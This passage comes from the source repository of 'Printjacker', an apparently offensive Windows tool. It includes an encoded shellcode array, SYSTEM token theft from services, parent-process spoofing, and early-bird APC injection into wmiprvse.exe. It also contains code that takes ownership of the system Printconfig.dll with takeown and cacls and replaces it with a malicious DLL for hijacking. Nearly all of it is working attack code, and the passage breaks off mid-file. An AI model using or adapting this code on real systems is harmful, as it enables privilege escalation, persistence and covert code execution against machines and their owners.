"\x53\x8a\x9b\xc5\x04\x03\x04\x03\xfb\xd6\xec\x36\x04\x03\x04" 220 | "\x2c\x4f\x3a\x52\x42\x74\x6d\x3c\x3b\x62\x40\x49\x69\x71\x40" 221 | "\x4f\x35\x62\x46\x33\x69\x53\x52\x73\x5c\x30\x3a\x49\x74\x6c" 222 | "\x70\x3d\x70\x4c\x7a\x37\x4f\x76\x64\x73\x51\x56\x4f\x5d\x73" 223 | "\x7c\x70\x52\x4d\x46\x52\x69\x03\x4c\x8a\xc5\x50\x5e\x42\x5c" 224 | "\x4e\x35\xca\x57\x4b\xbc\x03\x36\xab\x80\x03\x04\x03\x04\x53" 225 | "\x57\x50\x4d\xc4\xc6\xe8\x51\x2d\x3f\xfc\xd1\x4b\x8d\xc5\x6e" 226 | "\x09\x5b\x4b\x8d\xf2\x6e\x1c\x5e\x51\x6c\x83\x37\x03\x04\x4a" 227 | "\x8d\xe3\x6e\x07\x45\x5a\x4d\xb9\x71\x45\x9a\x85\x04\x03\x04" 228 | "\x03\xfb\xd6\x49\x32\xc4\x50\x5e\x4b\x8d\xf2\x49\x32\xcd\x4e" 229 | "\x35\xca\x57\x50\x4d\xc4\xc6\x2e\x02\x1b\x7f\xfc\xd1\x86\xc4" 230 | "\x76\x1b\x4b\xc3\xc2\x8c\x10\x04\x03\x4d\xb9\x40\xf3\x31\xe3" 231 | "\x04\x03\x04\x03\xfb\xd6\x4c\xfc\xcb\x77\x06\xe8\xae\xeb\x51" 232 | "\x03\x04\x03\x57\x5a\x6e\x43\x5e\x4a\x8d\xd2\xc5\xe1\x14\x4a" 233 | "\xc3\xc3\x04\x13\x04\x03\x4d\xb9\x5c\xa7\x57\xe6\x04\x03\x04" 234 | "\x03\xfb\xd6\x4c\x90\x57\x50\x4c\x8a\xe3\x4b\x8d\xf2\x4c\x8a" 235 | "\xde\x4a\xc3\xc3\x04\x23\x04\x03\x4d\x8a\xfd\x4a\xbe\x11\x92" 236 | "\x8a\xe6\x03\x04\x03\x04\xfc\xd1\x4b\x87\xc7\x24\x86\xc4\x77" 237 | "\xb6\x65\x8f\x04\x4c\x02\xc7\x86\xc4\x76\xd6\x5b\xc7\x5b\x6e" 238 | "\x03\x5d\x4a\xc3\xc1\xf4\xb6\xa6\x55\xfb\xd6\x7d\x12"; 239 | 240 | STARTUPINFOEX si; 241 | PROCESS_INFORMATION pi; 242 | SIZE_T attributeSize; 243 | ZeroMemory(&si, sizeof(STARTUPINFOEX)); 244 | //Host process can be changed 245 | WCHAR cmdline[MAX_PATH] = L"C:\\Windows\\System32\\wbem\\wmiprvse.exe -Embedding"; 246 | 247 | // PPID Spoof: https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing 248 | InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); 249 | si.lpAttributeList = 250 | (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc 251 | (GetProcessHeap(), 0, attributeSize); 252 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); 253 | UpdateProcThreadAttribute(si.lpAttributeList, 0, 254 | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 255 | &hParent, sizeof(HANDLE), NULL, NULL); 256 | si.StartupInfo.cb = sizeof(STARTUPINFOEX); 257 | 258 | // https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection 259 | CreateProcessW(NULL, cmdline, NULL, NULL, FALSE, 260 | EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED|CREATE_NO_WINDOW, 261 | NULL, NULL, &si.StartupInfo, &pi); 262 | HANDLE victimProcess = pi.hProcess; 263 | HANDLE threadHandle = pi.hThread; 264 | 265 | LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, 266 | sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); 267 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; 268 | 269 | WriteProcessMemory(victimProcess, shellAddress, shellcode, 270 | sizeof(shellcode), NULL); 271 | QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); 272 | ResumeThread(threadHandle); 273 | 274 | return 0; 275 | } 276 | 277 | DWORD WINAPI StartInjector(PVOID) { 278 | HANDLE hSystemToken; 279 | HANDLE hParent; 280 | 281 | if (!GetSystem()) { 282 | //printf("\n[-] Failed to get SYSTEM token."); 283 | return 46; 284 | } 285 | 286 | if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, 287 | FALSE, &hSystemToken)) 288 | { 289 | //wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError()); 290 | return -1; 291 | } 292 | 293 | if (FAILED(GetServiceHandle(L"DcomLaunch", &hParent))) { 294 | //printf("\n[-] ERROR GetServiceHandle DcomLaunch %d", GetLastError()); 295 | CloseHandle(hParent); 296 | return -1; 297 | } 298 | 299 | //printf("\n[+] Trying to inject to the victim process..."); 300 | InjectNewProcess(hParent); 301 | 302 | CloseHandle(hSystemToken); 303 | CloseHandle(hParent); 304 | return 0; 305 | 306 | } 307 | 308 | 309 | extern "C" __declspec(dllexport) DWORD DrvDeviceCapabilities() { 310 | //Create mutex to block multiple execution 311 | HANDLE hMutex = CreateMutex(nullptr, TRUE, L"printjacked"); 312 | if (ERROR_ALREADY_EXISTS == GetLastError()) { 313 | CloseHandle(hMutex); 314 | return 0; 315 | } 316 | 317 | HANDLE hThread = CreateThread(nullptr, 0, StartInjector, 318 | nullptr, 0, nullptr); 319 | if (!hThread) { 320 | //printf("\n[-] ERROR Creating thread: %d", GetLastError()); 321 | return -1; 322 | } 323 | WaitForSingleObject(hThread, INFINITE); 324 | 325 | DWORD result; 326 | GetExitCodeThread(hThread, &result); 327 | 328 | if (result == 46) { 329 | //printf("\n[+] Continuing with current token..."); 330 | ExecSc(); 331 | } 332 | 333 | return 0; 334 | } 335 | 336 | BOOL APIENTRY DllMain( HMODULE hModule, 337 | DWORD ul_reason_for_call, 338 | LPVOID lpReserved 339 | ) 340 | { 341 | switch (ul_reason_for_call) 342 | { 343 | case DLL_PROCESS_ATTACH: 344 | case DLL_THREAD_ATTACH: 345 | case DLL_THREAD_DETACH: 346 | case DLL_PROCESS_DETACH: 347 | break; 348 | } 349 | return TRUE; 350 | } 351 | 352 | -------------------------------------------------------------------------------- /Printjacker/PrintConfig/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: source file corresponding to the pre-compiled header 2 | 3 | #include "pch.h" 4 | 5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. 6 | -------------------------------------------------------------------------------- /Printjacker/PrintConfig/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /Printjacker/PrintConfig/token.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include 3 | # pragma comment (lib, "ntdll.lib") 4 | 5 | #define ProcessHandleInformation (PROCESSINFOCLASS)51 6 | 7 | typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO 8 | { 9 | HANDLE HandleValue; 10 | ULONGLONG HandleCount; 11 | ULONGLONG PointerCount; 12 | ACCESS_MASK GrantedAccess; 13 | ULONG ObjectTypeIndex; 14 | ULONG HandleAttributes; 15 | ULONG Reserved; 16 | } PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO; 17 | 18 | typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION 19 | { 20 | ULONGLONG NumberOfHandles; 21 | ULONGLONG Reserved; 22 | PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1]; 23 | } PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION; 24 | 25 | typedef struct _OBJECT_TYPE_INFORMATION 26 | { 27 | UNICODE_STRING TypeName; 28 | ULONG TotalNumberOfObjects; 29 | ULONG TotalNumberOfHandles; 30 | ULONG TotalPagedPoolUsage; 31 | ULONG TotalNonPagedPoolUsage; 32 | ULONG TotalNamePoolUsage; 33 | ULONG TotalHandleTableUsage; 34 | ULONG HighWaterNumberOfObjects; 35 | ULONG HighWaterNumberOfHandles; 36 | ULONG HighWaterPagedPoolUsage; 37 | ULONG HighWaterNonPagedPoolUsage; 38 | ULONG HighWaterNamePoolUsage; 39 | ULONG HighWaterHandleTableUsage; 40 | ULONG InvalidAttributes; 41 | GENERIC_MAPPING GenericMapping; 42 | ULONG ValidAccessMask; 43 | BOOLEAN SecurityRequired; 44 | BOOLEAN MaintainHandleCount; 45 | BOOLEAN TypeIndex; 46 | CHAR ReservedByte; 47 | ULONG PoolType; 48 | ULONG DefaultPagedPoolCharge; 49 | ULONG DefaultNonPagedPoolCharge; 50 | } OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; 51 | 52 | HRESULT 53 | GetTokenObjectIndex( 54 | _Out_ PULONG TokenIndex 55 | ) 56 | { 57 | HANDLE hToken; 58 | BOOL bRes; 59 | NTSTATUS status; 60 | struct 61 | { 62 | OBJECT_TYPE_INFORMATION TypeInfo; 63 | WCHAR TypeNameBuffer[sizeof("Token")]; 64 | } typeInfoWithName; 65 | 66 | // 67 | // Open the current process token 68 | // 69 | bRes = OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken); 70 | if (bRes == FALSE) 71 | { 72 | return HRESULT_FROM_WIN32(GetLastError()); 73 | } 74 | 75 | // 76 | // Get the object type information for the token handle 77 | // 78 | status = NtQueryObject(hToken, 79 | ObjectTypeInformation, 80 | &typeInfoWithName, 81 | sizeof(typeInfoWithName), 82 | NULL); 83 | CloseHandle(hToken); 84 | if (!NT_SUCCESS(status)) 85 | { 86 | return HRESULT_FROM_NT(status); 87 | } 88 | 89 | // 90 | // Return the object type index 91 | // 92 | *TokenIndex = typeInfoWithName.TypeInfo.TypeIndex; 93 | return ERROR_SUCCESS; 94 | } 95 | 96 | HRESULT 97 | GetSystemTokenFromProcess( 98 | _In_ HANDLE ProcessHandle 99 | ) 100 | { 101 | NTSTATUS status; 102 | PROCESS_HANDLE_SNAPSHOT_INFORMATION localInfo; 103 | PPROCESS_HANDLE_SNAPSHOT_INFORMATION handleInfo = &localInfo; 104 | ULONG bytes; 105 | ULONG tokenIndex; 106 | ULONG i; 107 | HRESULT hResult; 108 | BOOL bRes; 109 | HANDLE dupHandle; 110 | TOKEN_STATISTICS tokenStats; 111 | HANDLE hThread; 112 | LUID systemLuid = SYSTEM_LUID; 113 | 114 | // 115 | // Get the Object Type Index for Token Objects so we can recognize them 116 | // 117 | hResult = GetTokenObjectIndex(&tokenIndex); 118 | if (FAILED(hResult)) 119 | { 120 | goto Failure; 121 | } 122 | 123 | // 124 | // Check how big the process handle list ist 125 | // 126 | status = NtQueryInformationProcess(ProcessHandle, 127 | ProcessHandleInformation, 128 | handleInfo, 129 | sizeof(*handleInfo), 130 | &bytes); 131 | if (NT_SUCCESS(status)) 132 | { 133 | hResult = ERROR_UNIDENTIFIED_ERROR; 134 | goto Failure; 135 | } 136 | 137 | // 138 | // Add space for 16 more handles and try again 139 | // 140 | bytes += 16 * sizeof(*handleInfo); 141 | handleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bytes); 142 | status = NtQueryInformationProcess(ProcessHandle, 143 | ProcessHandleInformation, 144 | handleInfo, 145 | bytes, 146 | NULL); 147 | if (!NT_SUCCESS(status)) 148 | { 149 | hResult = HRESULT_FROM_NT(status); 150 | goto Failure; 151 | } 152 | 153 | // 154 | // Enumerate each one 155 | // 156 | for (i = 0; i < handleInfo->NumberOfHandles; i++) 157 | { 158 | // 159 | // Check if it's a token handle with full access 160 | // 161 | if ((handleInfo->Handles[i].ObjectTypeIndex == tokenIndex) && 162 | (handleInfo->Handles[i].GrantedAccess == TOKEN_ALL_ACCESS)) 163 | { 164 | // 165 | // Duplicate the token so we can take a look at it 166 | // 167 | bRes = DuplicateHandle(ProcessHandle, 168 | handleInfo->Handles[i].HandleValue, 169 | GetCurrentProcess(), 170 | &dupHandle, 171 | 0, 172 | FALSE, 173 | DUPLICATE_SAME_ACCESS); 174 | if (bRes == FALSE) 175 | { 176 | hResult = HRESULT_FROM_WIN32(GetLastError()); 177 | goto Failure; 178 | } 179 | 180 | // 181 | // Get information on the token 182 | // 183 | bRes = GetTokenInformation(dupHandle, 184 | TokenStatistics, 185 | &tokenStats, 186 | sizeof(tokenStats), 187 | &bytes); 188 | if (bRes == FALSE) 189 | { 190 | CloseHandle(dupHandle); 191 | hResult = HRESULT_FROM_WIN32(GetLastError()); 192 | goto Failure; 193 | } 194 | 195 | // 196 | // Check if its a system token with all of its privileges intact 197 | // 198 | if ((*(PULONGLONG)&tokenStats.AuthenticationId == 199 | *(PULONGLONG)&systemLuid) && 200 | (tokenStats.PrivilegeCount >= 22)) 201 | { 202 | // 203 | // We have a good candidate, impersonate it! 204 | // 205 | hThread = GetCurrentThread(); 206 | bRes = SetThreadToken(&hThread, dupHandle); 207 | // 208 | // Always close the handle since it's not needed 209 | // 210 | CloseHandle(dupHandle); 211 | if (bRes == FALSE) 212 | { 213 | hResult = HRESULT_FROM_WIN32(GetLastError()); 214 | goto Failure; 215 | } 216 | 217 | // 218 | // Get out of the loop 219 | // 220 | hResult = ERROR_SUCCESS; 221 | break; 222 | } 223 | 224 | // 225 | // Close this token and move on to the next one 226 | // 227 | CloseHandle(dupHandle); 228 | } 229 | } 230 | 231 | Failure: 232 | // 233 | // Free the handle list if we had one 234 | // 235 | if (handleInfo != &localInfo) 236 | { 237 | HeapFree(GetProcessHeap(), 0, handleInfo); 238 | } 239 | return hResult; 240 | } 241 | 242 | HRESULT 243 | GetServiceHandle( 244 | _In_ LPCWSTR ServiceName, 245 | _Out_ PHANDLE ProcessHandle 246 | ) 247 | { 248 | SC_HANDLE hScm, hRpc; 249 | BOOL bRes; 250 | SERVICE_STATUS_PROCESS procInfo; 251 | HRESULT hResult; 252 | DWORD dwBytes; 253 | HANDLE hProc; 254 | 255 | // 256 | // Prepare for cleanup 257 | // 258 | hScm = NULL; 259 | hRpc = NULL; 260 | 261 | // 262 | // Connect to the SCM 263 | // 264 | hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); 265 | if (hScm == NULL) 266 | { 267 | hResult = HRESULT_FROM_WIN32(GetLastError()); 268 | goto Failure; 269 | } 270 | 271 | // 272 | // Open the service 273 | // 274 | hRpc = OpenService(hScm, ServiceName, SERVICE_QUERY_STATUS); 275 | if (hRpc == NULL) 276 | { 277 | hResult = HRESULT_FROM_WIN32(GetLastError()); 278 | goto Failure; 279 | } 280 | 281 | // 282 | // Query the process information 283 | // 284 | bRes = QueryServiceStatusEx(hRpc, 285 | SC_STATUS_PROCESS_INFO, 286 | (LPBYTE)&procInfo, 287 | sizeof(procInfo), 288 | &dwBytes); 289 | if (bRes == FALSE) 290 | { 291 | hResult = HRESULT_FROM_WIN32(GetLastError()); 292 | goto Failure; 293 | } 294 | 295 | // 296 | // Open a handle for all access to the PID 297 | // 298 | hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId); 299 | if (hProc == NULL) 300 | { 301 | hResult = HRESULT_FROM_WIN32(GetLastError()); 302 | goto Failure; 303 | } 304 | 305 | // 306 | // Return the PID 307 | // 308 | *ProcessHandle = hProc; 309 | hResult = ERROR_SUCCESS; 310 | 311 | Failure: 312 | // 313 | // Cleanup the handles 314 | // 315 | if (hRpc != NULL) 316 | { 317 | CloseServiceHandle(hRpc); 318 | } 319 | if (hScm != NULL) 320 | { 321 | CloseServiceHandle(hScm); 322 | } 323 | return hResult; 324 | } -------------------------------------------------------------------------------- /Printjacker/PrintConfig/token.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | /** 4 | * 5 | * @ brief : Locates an impersonation token for the 6 | * NT AUTHORITY\SYSTEM user within the target 7 | * process. 8 | * 9 | * @ arg HANDLE hProcess : Handle to an opened process 10 | * to enum for process handles. 11 | * 12 | * @ ret : Returns a pointer to a useable handle to 13 | * impersonate. The target must close the handle 14 | * when they are done. 15 | * 16 | **/ 17 | HRESULT GetSystemTokenFromProcess(_In_ HANDLE ProcessHandle); 18 | HRESULT GetServiceHandle(_In_ LPCWSTR ServiceName, _Out_ PHANDLE ProcessHandle); -------------------------------------------------------------------------------- /Printjacker/Printjacker.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30717.126 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Printjacker", "Printjacker\Printjacker.vcxproj", "{9CF3A232-A28E-428C-8368-FCC622145321}" 7 | ProjectSection(ProjectDependencies) = postProject 8 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B} = {902C4710-FF3E-45A4-BD70-6865DB8DB48B} 9 | EndProjectSection 10 | EndProject 11 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PrintConfig", "PrintConfig\PrintConfig.vcxproj", "{902C4710-FF3E-45A4-BD70-6865DB8DB48B}" 12 | EndProject 13 | Global 14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 15 | Debug|x64 = Debug|x64 16 | Debug|x86 = Debug|x86 17 | Release|x64 = Release|x64 18 | Release|x86 = Release|x86 19 | EndGlobalSection 20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 21 | {9CF3A232-A28E-428C-8368-FCC622145321}.Debug|x64.ActiveCfg = Debug|x64 22 | {9CF3A232-A28E-428C-8368-FCC622145321}.Debug|x64.Build.0 = Debug|x64 23 | {9CF3A232-A28E-428C-8368-FCC622145321}.Debug|x86.ActiveCfg = Debug|Win32 24 | {9CF3A232-A28E-428C-8368-FCC622145321}.Debug|x86.Build.0 = Debug|Win32 25 | {9CF3A232-A28E-428C-8368-FCC622145321}.Release|x64.ActiveCfg = Release|x64 26 | {9CF3A232-A28E-428C-8368-FCC622145321}.Release|x64.Build.0 = Release|x64 27 | {9CF3A232-A28E-428C-8368-FCC622145321}.Release|x86.ActiveCfg = Release|Win32 28 | {9CF3A232-A28E-428C-8368-FCC622145321}.Release|x86.Build.0 = Release|Win32 29 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Debug|x64.ActiveCfg = Debug|x64 30 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Debug|x64.Build.0 = Debug|x64 31 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Debug|x86.ActiveCfg = Debug|Win32 32 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Debug|x86.Build.0 = Debug|Win32 33 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Release|x64.ActiveCfg = Release|x64 34 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Release|x64.Build.0 = Release|x64 35 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Release|x86.ActiveCfg = Release|Win32 36 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Release|x86.Build.0 = Release|Win32 37 | EndGlobalSection 38 | GlobalSection(SolutionProperties) = preSolution 39 | HideSolutionNode = FALSE 40 | EndGlobalSection 41 | GlobalSection(ExtensibilityGlobals) = postSolution 42 | SolutionGuid = {EE77AEE7-9BAD-429F-976E-B77CAF85918D} 43 | EndGlobalSection 44 | EndGlobal 45 | -------------------------------------------------------------------------------- /Printjacker/Printjacker/Printjacker.rc: -------------------------------------------------------------------------------- 1 | // Microsoft Visual C++ generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "winres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // English (United States) resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) 19 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US 20 | #pragma code_page(1252) 21 | 22 | #ifdef APSTUDIO_INVOKED 23 | ///////////////////////////////////////////////////////////////////////////// 24 | // 25 | // TEXTINCLUDE 26 | // 27 | 28 | 1 TEXTINCLUDE 29 | BEGIN 30 | "resource.h\0" 31 | END 32 | 33 | 2 TEXTINCLUDE 34 | BEGIN 35 | "#include ""winres.h""\r\n" 36 | "\0" 37 | END 38 | 39 | 3 TEXTINCLUDE 40 | BEGIN 41 | "\r\n" 42 | "\0" 43 | END 44 | 45 | #endif // APSTUDIO_INVOKED 46 | 47 | 48 | ///////////////////////////////////////////////////////////////////////////// 49 | // 50 | // FILE 51 | // 52 | 53 | IDR_FILE1 FILE "..\\x64\\Release\\PrintConfig.dll" 54 | 55 | #endif // English (United States) resources 56 | ///////////////////////////////////////////////////////////////////////////// 57 | 58 | 59 | 60 | #ifndef APSTUDIO_INVOKED 61 | ///////////////////////////////////////////////////////////////////////////// 62 | // 63 | // Generated from the TEXTINCLUDE 3 resource. 64 | // 65 | 66 | 67 | ///////////////////////////////////////////////////////////////////////////// 68 | #endif // not APSTUDIO_INVOKED 69 | 70 | -------------------------------------------------------------------------------- /Printjacker/Printjacker/Printjacker.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {9cf3a232-a28e-428c-8368-fcc622145321} 25 | Printjacker 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | MultiThreadedDebugDLL 120 | 121 | 122 | Console 123 | true 124 | 125 | 126 | 127 | 128 | Level3 129 | true 130 | true 131 | true 132 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 133 | true 134 | MultiThreaded 135 | 136 | 137 | Console 138 | true 139 | true 140 | false 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | -------------------------------------------------------------------------------- /Printjacker/Printjacker/Printjacker.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | 28 | 29 | Resource Files 30 | 31 | 32 | 33 | 34 | Resource Files 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /Printjacker/Printjacker/Printjacker.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -find 5 | WindowsLocalDebugger 6 | 7 | -------------------------------------------------------------------------------- /Printjacker/Printjacker/Source.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "resource.h" 6 | 7 | #pragma warning(disable:4996) 8 | 9 | BOOL GetDriverDirectory(wchar_t* drvDir) { 10 | WIN32_FIND_DATA FindFileData; 11 | HANDLE hFind; 12 | hFind = FindFirstFile( 13 | L"C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64*", 14 | &FindFileData); 15 | wchar_t BeginPath[MAX_PATH] = 16 | L"c:\\windows\\system32\\DriverStore\\FileRepository\\"; 17 | wchar_t PrinterDriverFolder[MAX_PATH] = {}; 18 | wchar_t EndPath[23] = L"\\Amd64"; 19 | wmemcpy(PrinterDriverFolder, FindFileData.cFileName, 20 | wcslen(FindFileData.cFileName)); 21 | FindClose(hFind); 22 | wcscat(BeginPath, PrinterDriverFolder); 23 | wcscat(BeginPath, EndPath); 24 | wmemcpy(drvDir, BeginPath, wcslen(BeginPath)); 25 | return TRUE; 26 | } 27 | 28 | DWORD ChangePermissions(LPWSTR targetFile) { 29 | //takeown /r /f [DIR]\Printconfig.dll 30 | WCHAR cmdline1[MAX_PATH] = L"C:\\Windows\\System32\\takeown.exe /r /f "; 31 | wcscat(cmdline1, targetFile); 32 | //printf("\n[+] Trying to execute: %ws", cmdline1); 33 | STARTUPINFO si = { sizeof(si) }; 34 | PROCESS_INFORMATION pi; 35 | CreateProcess(nullptr, cmdline1, nullptr, 36 | nullptr, FALSE, 0, nullptr, nullptr, &si, &pi); 37 | WaitForSingleObject(pi.hProcess, INFINITE); 38 | 39 | //cacls [DIR]\Printconfig.dll /e /p Administrators:F 40 | ZeroMemory(&si, sizeof(si)); 41 | ZeroMemory(&pi, sizeof(pi)); 42 | WCHAR cmdline2[MAX_PATH] = L"C:\\Windows\\System32\\cacls.exe "; 43 | wcscat(cmdline2, targetFile); 44 | wcscat(cmdline2, L" /e /p Administrators:F"); 45 | //printf("\n[+] Trying to execute: %ws", cmdline2); 46 | CreateProcess(nullptr, cmdline2, nullptr, 47 | nullptr, FALSE, 0, nullptr, nullptr, &si, &pi); 48 | WaitForSingleObject(pi.hProcess, INFINITE); 49 | DWORD result = -1; 50 | GetExitCodeProcess(pi.hProcess, &result); 51 | return result; 52 | } 53 | 54 | 55 | DWORD ModifyPrinterConfig(wchar_t* targetDir) { 56 | //https://stackoverflow.com/questions/3023762/how-to-add-a-text-file-as-resource-in-vc-2005 57 | HRSRC hRes = FindResource( 58 | GetModuleHandle(NULL), MAKEINTRESOURCE(IDR_FILE1), L"FILE"); 59 | DWORD dwSize = SizeofResource(GetModuleHandle(NULL), hRes); 60 | HGLOBAL hGlob = LoadResource(GetModuleHandle(NULL), hRes); 61 | const char* pDll = (const char*)LockResource(hGlob); 62 | printf("\n\n[+] Resource is found. Trying to modify the target file..."); 63 | 64 | WCHAR targetFile[MAX_PATH] = { 0 }; 65 | WCHAR origFile[MAX_PATH] = { 0 }; 66 | wcscat(targetFile, targetDir); 67 | wcscat(targetFile, L"\\Printconfig.dll"); 68 | wcscat(origFile, targetDir); 69 | wcscat(origFile, L"\\Printconfig_orig.dll"); 70 | if (!CopyFile(targetFile, origFile, TRUE)) { 71 | if (GetLastError() != ERROR_FILE_EXISTS) { 72 | printf("\n[-] Failed to CopyFile(): %d", GetLastError()); 73 | return -1; 74 | } 75 | printf("\n[*] Printconfig_orig.dll is found. Continuing without overwriting"); 76 | } 77 | else printf("\n[+] Original Dll is copied to Princonfig_orig.dll"); 78 | HANDLE hFile = CreateFile(targetFile, GENERIC_WRITE, 79 | 0, NULL, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 80 | if (hFile == INVALID_HANDLE_VALUE) { 81 | printf("\n[-] Failed to open Printconfig.dll for writing: %d", GetLastError()); 82 | goto Cleanup; 83 | } 84 | DWORD dwBytesWritten; 85 | if (!WriteFile(hFile, pDll, dwSize, &dwBytesWritten, NULL)) { 86 | printf("\n[-] Failed to write resource data into the target: %d", GetLastError()); 87 | goto Cleanup; 88 | } 89 | printf("\n[+] Printconfig.dll is successfully modified!"); 90 | CloseHandle(hFile); 91 | return 0; 92 | 93 | Cleanup: 94 | CloseHandle(hFile); 95 | return -1; 96 | } 97 | 98 | BOOL RestorePrinterConfig(wchar_t* targetDir) { 99 | WCHAR targetFile[MAX_PATH] = { 0 }; 100 | WCHAR origFile[MAX_PATH] = { 0 }; 101 | wcscat(targetFile, targetDir); 102 | wcscat(targetFile, L"\\Printconfig.dll"); 103 | wcscat(origFile, targetDir); 104 | wcscat(origFile, L"\\Printconfig_orig.dll"); 105 | 106 | if (!CopyFile(origFile, targetFile, FALSE)) { 107 | printf("\n[-] Failed to restore Printconfig.dll: %d", GetLastError()); 108 | return -1; 109 | } 110 | printf("\n[+] 